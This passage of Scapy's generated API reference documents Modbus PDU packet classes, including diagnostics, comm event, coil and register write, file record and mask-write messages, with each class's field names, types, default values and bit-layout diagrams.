           Fig. ModbusPDU07ReadExceptionStatusResponse            


ModbusPDU07ReadExceptionStatusResponse fields






	funcCode

	XByteField

	7



	startAddr

	XByteField

	0















	
class scapy.contrib.modbus.ModbusPDU08DiagnosticsError(_pkt, /, *, funcCode=136, exceptionCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L235-L238]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   | EXCEPTIONCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ModbusPDU08DiagnosticsError                 


ModbusPDU08DiagnosticsError fields






	funcCode

	XByteField

	136



	exceptionCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU08DiagnosticsRequest(_pkt, /, *, funcCode=8, subFunc=0, data=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L219-L224]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |            SUBFUNC            |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. ModbusPDU08DiagnosticsRequest                


ModbusPDU08DiagnosticsRequest fields






	funcCode

	XByteField

	8



	subFunc

	XShortEnumField

	0



	data

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU08DiagnosticsResponse(_pkt, /, *, funcCode=8, subFunc=0, data=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L227-L232]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |            SUBFUNC            |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU08DiagnosticsResponse                


ModbusPDU08DiagnosticsResponse fields






	funcCode

	XByteField

	8



	subFunc

	XShortEnumField

	0



	data

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU0BGetCommEventCounterError(_pkt, /, *, funcCode=139, exceptionCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L253-L256]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   | EXCEPTIONCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU0BGetCommEventCounterError             


ModbusPDU0BGetCommEventCounterError fields






	funcCode

	XByteField

	139



	exceptionCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU0BGetCommEventCounterRequest(_pkt, /, *, funcCode=11)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L241-L243]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |
+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU0BGetCommEventCounterRequest            


ModbusPDU0BGetCommEventCounterRequest fields






	funcCode

	XByteField

	11















	
class scapy.contrib.modbus.ModbusPDU0BGetCommEventCounterResponse(_pkt, /, *, funcCode=11, status=0, eventCount=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L246-L250]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |             STATUS            |   EVENTCOUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

           Fig. ModbusPDU0BGetCommEventCounterResponse            


ModbusPDU0BGetCommEventCounterResponse fields






	funcCode

	XByteField

	11



	status

	XShortField

	0



	eventCount

	XShortField

	65535















	
class scapy.contrib.modbus.ModbusPDU0CGetCommEventLogError(_pkt, /, *, funcCode=140, exceptionCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L274-L277]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   | EXCEPTIONCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU0CGetCommEventLogError               


ModbusPDU0CGetCommEventLogError fields






	funcCode

	XByteField

	140



	exceptionCode

	XByteField

	1















	
class scapy.contrib.modbus.ModbusPDU0CGetCommEventLogRequest(_pkt, /, *, funcCode=12)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L259-L261]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |
+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU0CGetCommEventLogRequest              


ModbusPDU0CGetCommEventLogRequest fields






	funcCode

	XByteField

	12















	
class scapy.contrib.modbus.ModbusPDU0CGetCommEventLogResponse(_pkt, /, *, funcCode=12, byteCount=8, status=0, eventCount=264, messageCount=289, event=[32, 0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L264-L271]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EVENTCOUNT          |          MESSAGECOUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             EVENT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU0CGetCommEventLogResponse              


ModbusPDU0CGetCommEventLogResponse fields






	funcCode

	XByteField

	12



	byteCount

	ByteField

	8



	status

	XShortField

	0



	eventCount

	XShortField

	264



	messageCount

	XShortField

	289



	event

	FieldListField

	[32, 0]















	
class scapy.contrib.modbus.ModbusPDU0FWriteMultipleCoilsError(_pkt, /, *, funcCode=143, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L298-L301]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU0FWriteMultipleCoilsError              


ModbusPDU0FWriteMultipleCoilsError fields






	funcCode

	XByteField

	143



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU0FWriteMultipleCoilsRequest(_pkt, /, *, funcCode=15, startAddr=0, quantityOutput=1, byteCount=None, outputsValue=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L280-L288]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           | QUANTITYOUTPUT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   BYTECOUNT   |          OUTPUTSVALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU0FWriteMultipleCoilsRequest             


ModbusPDU0FWriteMultipleCoilsRequest fields






	funcCode

	XByteField

	15



	startAddr

	XShortField

	0



	quantityOutput

	XShortField

	1



	byteCount

	BitFieldLenField  (8 bits)

	None



	outputsValue

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU0FWriteMultipleCoilsResponse(_pkt, /, *, funcCode=15, startAddr=0, quantityOutput=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L291-L295]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           | QUANTITYOUTPUT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU0FWriteMultipleCoilsResponse            


ModbusPDU0FWriteMultipleCoilsResponse fields






	funcCode

	XByteField

	15



	startAddr

	XShortField

	0



	quantityOutput

	XShortField

	1















	
class scapy.contrib.modbus.ModbusPDU10WriteMultipleRegistersError(_pkt, /, *, funcCode=144, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L325-L328]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. ModbusPDU10WriteMultipleRegistersError            


ModbusPDU10WriteMultipleRegistersError fields






	funcCode

	XByteField

	144



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU10WriteMultipleRegistersRequest(_pkt, /, *, funcCode=16, startAddr=0, quantityRegisters=None, byteCount=None, outputsValue=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L304-L315]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           |QUANTITYREGISTE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   BYTECOUNT   |          OUTPUTSVALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. ModbusPDU10WriteMultipleRegistersRequest           


ModbusPDU10WriteMultipleRegistersRequest fields






	funcCode

	XByteField

	16



	startAddr

	XShortField

	0



	quantityRegisters

	BitFieldLenField  (16 bits)

	None



	byteCount

	BitFieldLenField  (8 bits)

	None



	outputsValue

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU10WriteMultipleRegistersResponse(_pkt, /, *, funcCode=16, startAddr=0, quantityRegisters=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L318-L322]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           |QUANTITYREGISTE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

          Fig. ModbusPDU10WriteMultipleRegistersResponse          


ModbusPDU10WriteMultipleRegistersResponse fields






	funcCode

	XByteField

	16



	startAddr

	XShortField

	0



	quantityRegisters

	XShortField

	1















	
class scapy.contrib.modbus.ModbusPDU11ReportSlaveIdError(_pkt, /, *, funcCode=145, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L349-L352]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ModbusPDU11ReportSlaveIdError                


ModbusPDU11ReportSlaveIdError fields






	funcCode

	XByteField

	145



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU11ReportSlaveIdRequest(_pkt, /, *, funcCode=17)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L331-L333]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |
+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU11ReportSlaveIdRequest               


ModbusPDU11ReportSlaveIdRequest fields






	funcCode

	XByteField

	17















	
class scapy.contrib.modbus.ModbusPDU11ReportSlaveIdResponse(_pkt, /, *, funcCode=17, byteCount=None, slaveId=b'', runIdicatorStatus=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L336-L346]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |            SLAVEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RUNIDICATORSTAT|
+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU11ReportSlaveIdResponse               


ModbusPDU11ReportSlaveIdResponse fields






	funcCode

	XByteField

	17



	byteCount

	BitFieldLenField  (8 bits)

	None



	slaveId

	StrLenField (Cond)

	b''



	runIdicatorStatus

	XByteField (Cond)

	0















	
class scapy.contrib.modbus.ModbusPDU14ReadFileRecordError(_pkt, /, *, funcCode=148, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L416-L419]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU14ReadFileRecordError                


ModbusPDU14ReadFileRecordError fields






	funcCode

	XByteField

	148



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU14ReadFileRecordRequest(_pkt, /, *, funcCode=20, byteCount=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L366-L381]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU14ReadFileRecordRequest               


ModbusPDU14ReadFileRecordRequest fields






	funcCode

	XByteField

	20



	byteCount

	ByteField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L371-L375]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L377-L381]

	








	
class scapy.contrib.modbus.ModbusPDU14ReadFileRecordResponse(_pkt, /, *, funcCode=20, dataLength=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L398-L413]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   DATALENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU14ReadFileRecordResponse              


ModbusPDU14ReadFileRecordResponse fields






	funcCode

	XByteField

	20



	dataLength

	ByteField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L409-L413]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L403-L407]

	








	
class scapy.contrib.modbus.ModbusPDU15WriteFileRecordError(_pkt, /, *, funcCode=149, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L478-L481]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU15WriteFileRecordError               


ModbusPDU15WriteFileRecordError fields






	funcCode

	XByteField

	149



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU15WriteFileRecordRequest(_pkt, /, *, funcCode=21, dataLength=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L442-L457]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   DATALENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU15WriteFileRecordRequest              


ModbusPDU15WriteFileRecordRequest fields






	funcCode

	XByteField

	21



	dataLength

	ByteField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L453-L457]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L447-L451]

	








	
class scapy.contrib.modbus.ModbusPDU15WriteFileRecordResponse(_pkt, /, *, funcCode=21, dataLength=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L468-L475]

	Bases: ModbusPDU15WriteFileRecordRequest


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   DATALENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU15WriteFileRecordResponse              


ModbusPDU15WriteFileRecordResponse fields






	funcCode

	XByteField

	21



	dataLength

	ByteField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L471-L475]

	








	
class scapy.contrib.modbus.ModbusPDU16MaskWriteRegisterError(_pkt, /, *, funcCode=150, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L501-L504]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU16MaskWriteRegisterError              


ModbusPDU16MaskWriteRegisterError fields






	funcCode

	XByteField

	150



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU16MaskWriteRegisterRequest(_pkt, /, *, funcCode=22, refAddr=0, andMask=65535, orMask=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L484-L490]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |            REFADDR            |    ANDMASK    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             ORMASK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU16MaskWriteRegisterRequest             


ModbusPDU16MaskWriteRegisterRequest fields






	funcCode

	XByteField

	22



	refAddr

	XShortField

	0



	andMask

	XShortField

	65535



	orMask

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU16MaskWriteRegisterResponse(_pkt, /, *, funcCode=22, refAddr=0, andMask=65535, orMask=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L493-L498]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |            REFADDR            |    ANDMASK    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             ORMASK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU16MaskWriteRegisterResponse             


ModbusPDU16MaskWriteRegisterResponse fields






	funcCode

	XByteField

	22



	refAddr

	XShortField

	0



	andMask

	XShortField

	65535



	orMask

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU17ReadWriteMultipleRegistersError(_pkt, /, *, funcCode=151, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L534-L537]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. ModbusPDU17ReadWriteMultipleRegistersError          


ModbusPDU17ReadWriteMultipleRegistersError fields






	funcCode

	XByteField

	151



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU17ReadWriteMultipleRegistersRequest(_pkt, /, *, funcCode=23, readStartingAddr=0, readQuantityRegisters=1, writeStartingAddr=0, writeQuantityRegisters=None, byteCount=None, writeRegistersValue=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L507-L520]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |        READSTARTINGADDR       |READQUANTITYREG|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       WRITESTARTINGADDR       |WRITEQUANTITYRE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   BYTECOUNT   |      WRITEREGISTERSVALUE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

        Fig. ModbusPDU17ReadWriteMultipleRegistersRequest         


ModbusPDU17ReadWriteMultipleRegistersRequest fields






	funcCode

	XByteField

	23



	readStartingAddr

	XShortField

	0



	readQuantityRegisters

	XShortField

	1



	writeStartingAddr

	XShortField

	0



	writeQuantityRegisters

	BitFieldLenField  (16 bits)

	None



	byteCount

	BitFieldLenField  (8 bits)

	None



	writeRegistersValue

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU17ReadWriteMultipleRegistersResponse(_pkt, /, *, funcCode=23, byteCount=None, registerVal=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L523-L531]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
